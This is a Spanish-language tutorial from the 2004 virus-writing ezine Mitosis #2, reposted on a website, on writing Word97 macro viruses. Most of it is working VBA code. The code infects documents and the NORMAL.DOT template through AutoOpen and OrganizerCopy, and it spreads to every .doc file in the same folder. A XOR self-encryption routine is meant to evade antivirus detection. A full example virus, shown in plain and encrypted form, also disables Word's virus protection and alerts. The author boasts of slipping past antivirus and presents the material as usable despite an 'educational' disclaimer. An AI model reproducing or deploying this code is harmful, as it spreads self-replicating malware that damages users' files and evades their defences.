Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 02 010

eZine's profile picture
Published in 
Mitosis
 · 4 years ago

  

(C) MITOSIS #2 E-Zine/GEDZAC 2004

Tema : Como Programar Un MacroVirus en Word97
Autor : Pr0t0z00
Válido para : Word

AVISO:
Si este documento tiene faltas ortograficas no las tomes en cuenta pues no es lo
importante, ademas poner acentos y cosas por el estilo quita tiempo = ).
Esta demas recordar que el contenido de este documento es de caracter EDUCATIVO y
que no me responsabiliso en lo absoluto por la mala utilizacion de lo aqui
expuesto.
Y aunque bien es sabido que "LAS BOMBAS ESTAN HECHAS PARA ESTALLAR Y LOS VIRUS
PARA INFECTAR" recuerda siempre que debes infectar tu propia makina antes que las
de otros. Jejejeje, Suena bonito


INDICE.

1 INTRO.
2 COMENZAMOS.
2.1 Automacros.
2.2 La plantilla normal.
3 INFECCION.
3.1 Metodo de infeccion comun.
3.2 Metodo de infeccion avanzado.
4 ENCRIPTACION.
4.1 Ventajas.
4.2 Ejemplo de encriptacion.
4.3 Virus de ejemplo.
4.4 OUTRO.

1 INTRO.

En este documento se tratan a fondo metodos de infeccion en word97 asi como
tambien se tratan formas de proteger nuestros virus ante ojos de intrusos y/o
antivirus, espero que este documento sea de interes para el lector y que le sirva
por lo menos para saber algo mas.
La informacion expuesta en este documento la imparto asumiendo que el lector
tiene una pequeña base sobre como usar el editor de Visual Basic de Word97 ademas
del uso de las automacros de este mismo.

2 COMENZAMOS.
Ahora veremos los puntos de mas interes a la hora de comenzar a escribir un virus
de macro.
Manos al KeyBoard !!

2.1 Automacros.
Las automacros como su nombre lo indica son macros automaticas que se ejecutan
tras un evento, por ejemplo, al abrir un documento se ejecutara el codigo que
contenga la macro AutoOpen.
Principalmete utilizaremos esta macro para escribir el codigo de nuestro virus.
ejemplo:
Vamos al editor de Visual Basic e insertamos un nuevo MODULO en el cual escribi-
remos el siguiente codigo:

Sub AutoOpen ()
MsgBox "Hola"
End Sub

El codigo anterior muestra el mensaje "Hola" cada vez que es abierto el documento
pero solo el documento que contenga este codigo lo ejecutara.
Si quisieramos que el codigo anterior se ejecutara al abrir cualquier documento
tendriamos que insertar un nuevo MODULO en la plantilla NORMAL y ahi escribir el
codigo.

2.2 La plantilla NORMAL.
Word97 posee una plantilla global llamada "NORMAL.DOT" que se encuentra en direc-
torio "C:\Archivos de Programa\Microsoft Office\plantillas\", esta plantilla
ejecuta las macros que contenga de manera global, osea si el codigo que vimos
anteriormente estuviera escrito en la plantilla NORMAL se ejecutaria ese codigo
al abrir cualquier documento.

3 INFECCION.
Ahora veremos algunos metodos de infeccion o mejor dicho veremos dos metodos de
infeccion.

3.1 Metodo de infeccion comun.
Este metodo es el mas conocido y conciste en la copia de codigo directa osea de
DOCUMENTO a NORMAL y de NORMAL a DOCUMENTO.Este metodo lo llevaremos a cavo con
el metodo OrganizerCopy. A continuacion pongo codigo de ejemplo.
(Todas las lineas que empiezan con una comilla son comentarios)


Sub autoopen()

'Si hay error seguimos
On Error Resume Next

'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL
'Source indica de donde queremos copiar el MODULO
'Destination indica donde queremos copiar el MODULO
'Name indica el nombre del modulo a copiar
'Object indica el tipo de objeto a copiar, en este caso un item de proyecto
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Modulo1", _
Object:=wdOrganizerObjectProjectItems
'Aqui se da lo mismo que en el caso anterior solo que al revez, osea copiamos el
'MODULO que contiene la plantilla NORMAL al documento activo
Application.OrganizerCopy Source:="C:\Archiv~1\Microsoft Office\Plantillas\Normal.dot", _
Destination:=ActiveDocument.FullName, Name:="Modulo1", _
Object:=wdOrganizerObjectProjectItems

End Sub

Y bien, ya esta explicado lo que hace el codigo anterior. Ahora apliquemoslo.
Manos al KeyB! Vamos al editor de Visual Basic y tras insertar un nuevo MODULO a
nuestro documento añadimos el codigo anterior, luego guardamos los cambios en
nuestro documento y CRACH!!!!!
Si tienes un antivirus instalado saltara la alarma, que triste pero no es de
preocupacion ya que con el metodo que veremos a continuacion los antivirus se
quedan cortos, bueno, en realidad ami la alarma del norton no me salto.

3.2 Metodo de infeccion avanzado.
Este metodo lo ingenie yo mismo y consiste en la busqueda de documentos en el
directorio donde reside nuestro documento, la ventaja que tiene este metodo de
infeccion es que tenemos la posibilidad de infectar mas de un documento y ademas
los antivirus ni se inmutan bueno en realidad mi Norton ni se inmuto( xD ), creo
que el AVP si detecta este metodo pero no importa porke luego veremos algo de
encriptacion. Acontinuacion pongo codigo de ejemplo de este metodo de infeccion
(infeccion por busqueda).


Sub AutoOpen

'Si hay error seguimos.
On Error Resume Next

'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL
'Source indica el documento del cual queremos copiar el MODULO
'Destination indica el documentoi en el cual queremos copiar el MODULO
'Name indica el nombre del modulo a copiar en este caso el modulo llamado Nucleo
'Object indica el tipo de objeto a copiar, en este caso un item de proyecto.
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Nucleo", _
Object:=wdOrganizerObjectProjectItems

'Iniciamos un bloque With y utilizamos la propiedad FileSearch para buscar archivos.
With Application.FileSearch

'El ".FileName" es lo mismo que escribir "Application.FileSearch.Filename" y lo escribimos
'asi devido a que estamos utilizando el bloque With, .FileName apunta a los archivos
'a buscar, en este caso buscaremos "*.doc" osea documentos de Word97.
.FileName = "*.doc"

'.LookIn apunta al directorio en donde iniciamos la busqueda, en este caso en el directorio
'donde reside nuestro documento (ActiveDocument.Path).
.LookIn = ActiveDocument.Path

'.Execute para iniciar la busqueda.
.Execute

'Ahora iniciamos un bucle For Next, ".FoundFiles.Count" apunta a la cantidad de archivos
'encontrados.
For i = 1 To .FoundFiles.Count

'Seteamos los atributos de los files encontrados por si estuvieran de Solo Lectura.
SetAttr .FoundFiles(i), vbArchive

'Si el archivo encontrado es el que hemos abierto lo infectamos (si este codigo estuviera
'en la plantilla NORMAL y abrieramos un documento limpio este seria infectado al instante).
If .FoundFiles(i) = ActiveDocument.FullName Then GoTo Infectar

'Buscamos siguiente archivo.
Next i

Infectar:

'Si hay error seguimos
On Error Resume Next

'Aqui copiamos el MODULO que contiene la plantilla NORMAL al documento activo.
'el .FoundFiles(i) contiene el nombre del documento que vamos a infectar
'Nucleo es el nombre del modulo que copiamos
Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _
Destination:=.FoundFiles(i), Name:="Nucleo", _
Object:=wdOrganizerObjectProjectItems
Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate
End With

End Sub

Como te habras dado cuenta el codigo que vimos anteriormente infecta nada mas que
un solo documento a la vez pero con una pequeña modificacion podremos lograr que
infecte mas de un documento osea podremos lograr que infecte el documento que es
abierto mas los que se encuentren en su directorio.
Acontinuacion el codigo con esta modificacion


Sub AutoOpen

On Error Resume Next

Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Nucleo", _
Object:=wdOrganizerObjectProjectItems

With Application.FileSearch

.FileName = "*.doc"
.LookIn = ActiveDocument.Path
.Execute

'Apartir de aqui podemos ver la modificacion
For i = 1 To .FoundFiles.Count

SetAttr .FoundFiles(i), vbArchive
On Error Resume Next
Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _
Destination:=.FoundFiles(i), Name:="Nucleo", _
Object:=wdOrganizerObjectProjectItems
Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate

Next i

End With

End Sub

Lo que hace el codigo anterior es infectar el documento que es abierto y todos
los documentos que se encuentren en el directorio de este. Mas adelante iremos
viendo otros metodos de infeccion pero ahora toca tratar un tema en mi opinion
muy interesante que es la ENCRIPTACION de nuestros viruses.

4 ENCRIPTACION.
Sera posible encriptar un virus de macro?, la respuesta es "si" y eso es lo que
vamos a tratar ahora.
Hay formas y formas de lograr que nuestro virus quede encriptado, podriamos por
ejemplo exportar el codigo de nuestro virus a un TXT encriptarlo y luego
importarlo a nuestro virus pero es mucho lio, mejor veamos una forma mas comoda
que lograremos gracias a las comillas usadas para los comentarios en Visual Basic

4.1 Ventajas.

Las ventajas de encriptar un virus de macros son mas que logicas, por ejemplo
podemos evitar la Heuristica de los AntiVirus y evitar que nos vean el codigo,
etc... ;·}

4.2 Ejemplo de encriptacion.
Acontinuacion un ejemplo:
El siguiente codigo encripta desde la linea 7 hasta la ultima menos 23, osea
encripta solo el contenido de la Sub Virus, pero ojo el "Call EncDesc" de la
Sub Virus no es encriptado porque con ese Call llamamos a la rutina de encripta-
cion para que encripte el codigo despues de la ejecucion de este mismo. por esta
razon encriptamos desde la linea 7

Nota: Para encriptar el codigo de la Sub Virus ejecutaremos la Function EncDesc.
Con esto el codigo de la Sub Virus quedara encriptado, ahora, si ejecutamos la
Sub AutoOpen podemos obserbar que el codigo se desencripta, se ejecuta (en este
caso muestra el mensaje), y se encripta nuevamente.


--------------------------- Copiar desde aqui -----------------------------------
Sub AutoOpen() '
Call EncDesc ' Llamamos a la funcion EncDesc para desencriptar
Call Virus ' Una vez desencr el codigo llamamos a la Sub Virus para ejecutarla
End Sub
Sub Virus() ' Sub que encriptaremos
Call EncDesc ' Aqui volvemos a encriptar el codigo despues que se ejecuta
MsgBox "s33k&d3str0y." ' <···· Aqui deveria ir el codigo del virus
End Sub '(en este caso mostramos un mensaje)
Function EncDesc() ' Funcion Encriptadora/Desencriptadora
For ModuloActivo = 1 To Application.VBE.CodePanes.Count ' Iniciamos un contador para buscar el Codigo a encriptar
If Right(Application.VBE.CodePanes(ModuloActivo).codemodule.Lines(1, 1), 1) = "'" Then ' Estamos en el codigo?
Set CodigoDeModulo = Application.VBE.CodePanes(ModuloActivo).codemodule 'Apunta al Codigo de nuestro modulo
'____________________________________________
For H = 7 To CodigoDeModulo.CountOfLines - 23 ' Iniciamos un contador de lineas para encriptarlas o desencriptarlas
'¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
LineasDeModulo$ = CodigoDeModulo.Lines(H, 1) ' LineasDeModulo$ apunta al numero de linea indicado por H
For I = 1 To Len(LineasDeModulo$) ' Iniciamos un contador para extraer la longitud en caracteres de cada linea
caracter = Chr(Asc(Mid(LineasDeModulo$, I, 1)) Xor 210) ' Esto encripta o desencripta la linea caracter por caracter
lineaEncDesc = lineaEncDesc + caracter ' Aqui vamos acumulando la linea encriptada o desencriptada caracter a caracter
Next I
If Left(CodigoDeModulo.Lines(H, 1), 1) = "'" Then ' Verificamos si la linea esta encriptada
CodigoDeModulo.deletelines H, 1 ' Si es asi la eliminamos para insertar la misma linea pero desencriptada
CodigoDeModulo.insertlines H, Mid(lineaEncDesc, 2, Len(lineaEncDesc)): GoTo 2 ' Esto inserta la linea y salta a 2
End If
CodigoDeModulo.deletelines H, 1 ' Si la linea no esta encriptada la eliminamos para insertar la misma pero encriptada
CodigoDeModulo.insertlines H, "'" + lineaEncDesc ' Esto inserta la linea Encriptada y le pone un " ' " al principio
2: lineaEncDesc = "": Next H ' Aqui limpiamos la variable lineaEncDesc para seguir con la siguiente linea (Next H)
End If
Next ModuloActivo
End Function
------------------------------ Hasta aca ----------------------------------------

Nota : Te fijaste en esa linea que remarque, te explico:
For H = 7 To CodigoDeModulo.CountOfLines - 23
El 7 indica que empezamos a encriptar el codigo desde la 7ma linea y el 23 indica
la cantidad de lineas que ocupa nuestra Funcion Encriptadora/Desencriptadora que
en realidad son 22 pero le sumamos la linea del End Sub de la Sub Virus osea 23
lineas, Bueno, este 23 lo restamos al total de lineas del codigo para evitar
encriptar la funcion EncDesc porque si esta fuera encriptada luego como
desencriptariamos el codigo del virus. Cuando digo Encriptadora/Desencriptadora
me refiero a que la misma funcion nos sirve para encriptar o desencriptar el
codigo segun como este, por ejemplo si el codigo esta encriptado lo desencriptara
y si esta desencriptado lo encriptara, esto gracias al operador logico Xor.

4.3 Virus de ejemplo.

Ahora veremos un pequeño ejemplo de un viruz de macro con funcion encriptadora.
Pondre el codigo en sus dos formas, vale decir, cuando no esta encriptado y
cuando lo esta. debo decir tambien que este virus posee un metodo de infeccion
distinto a los que vimos anteriormente, dejare que te entretengas un buen rato
tratando de descubrir como funciona este metodo de infeccion.

No ejecutes la sub Document_Open() en esta forma porque si tienes un antivirus
instalado lo mas probable es que el virus sera detectado. para poder ver el
funcionamiento de este virus su codigo deve ser pegado en el objeto ThisDocument
en el editor de visual basic y deve comenzar dese la primera linea, tambien
fijate en que despues de la ultima linea del virus no hayan lineas en blanco, si
las hay eliminalas. Una vez pegado el virus en el objeto ThisDocument si situas
el cursor dentro de la sub EncDesc y la ejecutas veras como el codigo se encripta
y desencripta.

Private Sub Document_Open() '
Call EncDesc
Call BioCodigo
End Sub
Private Sub BioCodigo()
Call EncDesc
'*****************************Se encripta desde aqui*************************
On Error Resume Next
Application.ScreenUpdating = False
Options.VirusProtection = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
If UCase(VBProject.Name) <> "NORMAL" Then
Set Mx9k = ActiveDocument
Set x8pZ = NormalTemplate
If Right(x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1), 1) = "'" Then GoTo M6Xk
GoTo pX8k:
End If
M6Xk:
Set Mx9k = NormalTemplate
Set x8pZ = ActiveDocument
If x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1) = "Call EncDesc" Then Exit Sub
pX8k:
k3xWQ = Mx9k.VBProject.vbcomponents(1).codemodule.lines(1, Mx9k. _
VBProject.vbcomponents(1).codemodule.CountOfLines)
x8pZ.VBProject.vbcomponents(1).codemodule.DeleteLines 1, x8pZ. _
VBProject.vbcomponents(1).codemodule.CountOfLines
x8pZ.VBProject.vbcomponents(1).codemodule.InsertLines 1, k3xWQ
'****************************Se desencripta Hasta aqui*******************************
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Function EncDesc()
For ACM = 1 To Application.VBE.CodePanes.Count
If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then
Set X8Nz = Application.VBE.CodePanes(ACM).codemodule
For h = 8 To X8Nz.CountOfLines - 23
a$ = X8Nz.lines(h, 1)
For I = 1 To Len(a$)
char = Chr(Asc(Mid(a$, I, 1)) Xor 210)
linea = linea + char
Next I
If Left(X8Nz.lines(h, 1), 1) = "'" Then
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2
End If
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, "'" + linea
2: linea = "": Next h
End If
Next ACM
End Function

En el codigo que viene a continuacion contiene las lineas encriptadas y
corresponden a la parte infecciosa del virus. En esta forma el virus podra ser
ejecutado y no sera detectado por el AntiVirus.

Private Sub Document_Open() '
Call EncDesc
Call BioCodigo
End Sub
Private Sub BioCodigo()
Call EncDesc
'*****************************Se encripta desde aqui*************************
'¼ò-½ò€·¡§¿·òœ·ª¦
'"¢¢¾"±³¦"½¼ü±··¼‡¢³¦"¼µòïò"³¾¡·
'¢¦"½¼¡ü""§¡‚½¦·±¦"½¼òïò"³¾¡·
'"¢¢¾"±³¦"½¼ü-"¡¢¾³""¾·¦¡òïò¥"¾·¦¡œ½¼·
'…½³¡"±ü-"¡³°¾·"§¦½Ÿ³±½¡òâ
'›´ò‡'³¡·ú"‚½¸·±¦üœ³¿·ûòîìò𜝀Ÿ"žðò†º·¼
'·¦òŸªë¹òïò"±¦"¤·-½±§¿·¼¦
'·¦òªê¢ˆòïòœ½¿³¾†·¿¢¾³¦·
'›´ò€"µº¦úªê¢ˆü"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü¾"¼·¡úáþòãûþòãûòïòðõðò†º·¼òo½†½òŸèŠ¹
'o½†½ò¢Šê¹è
'-¼ò›´
'ŸèŠ¹è
'·¦òŸªë¹òïòœ½¿³¾†·¿¢¾³¦·
'·¦òªê¢ˆòïò"±¦"¤·-½±§¿·¼¦
'›´òªê¢ˆü"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü¾"¼·¡úáþòãûòïòð'³¾¾ò-¼±-·¡±ðò†º·¼ò-ª"¦ò§°
'¢Šê¹è
'¹áª…ƒòïòŸªë¹ü"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü¾"¼·¡úãþòŸªë¹üò
'"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü'½§¼¦´ž"¼·¡û
'ªê¢ˆü"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü-·¾·¦·ž"¼·¡òãþòªê¢ˆüò
'"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü'½§¼¦´ž"¼·¡
'ªê¢ˆü"‚½¸·±¦ü¤°±½¿¢½¼·¼¦¡úãûü±½·¿½§¾·ü›¼¡·¦ž"¼·¡òãþò¹áª…ƒ
'****************************Se desencripta Hasta aqui*******************************
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Function EncDesc()
For ACM = 1 To Application.VBE.CodePanes.Count
If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then
Set X8Nz = Application.VBE.CodePanes(ACM).codemodule
For h = 8 To X8Nz.CountOfLines - 23
a$ = X8Nz.lines(h, 1)
For I = 1 To Len(a$)
char = Chr(Asc(Mid(a$, I, 1)) Xor 210)
linea = linea + char
Next I
If Left(X8Nz.lines(h, 1), 1) = "'" Then
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2
End If
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, "'" + linea
2: linea = "": Next h
End If
Next ACM
End Function


4.4 OUTRO

Bueno, espero que con este documento hayas conseguido ampliar un poco mas tus
conocimientos(si es ke ya no lo sabias xD).
Por ahora me despido y un infeccioso saludo a todos los escritores de viruz de
este puto planeta.

-Pr0t0z00


(C) MITOSIS #2 E-Zine/GEDZAC 2004

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT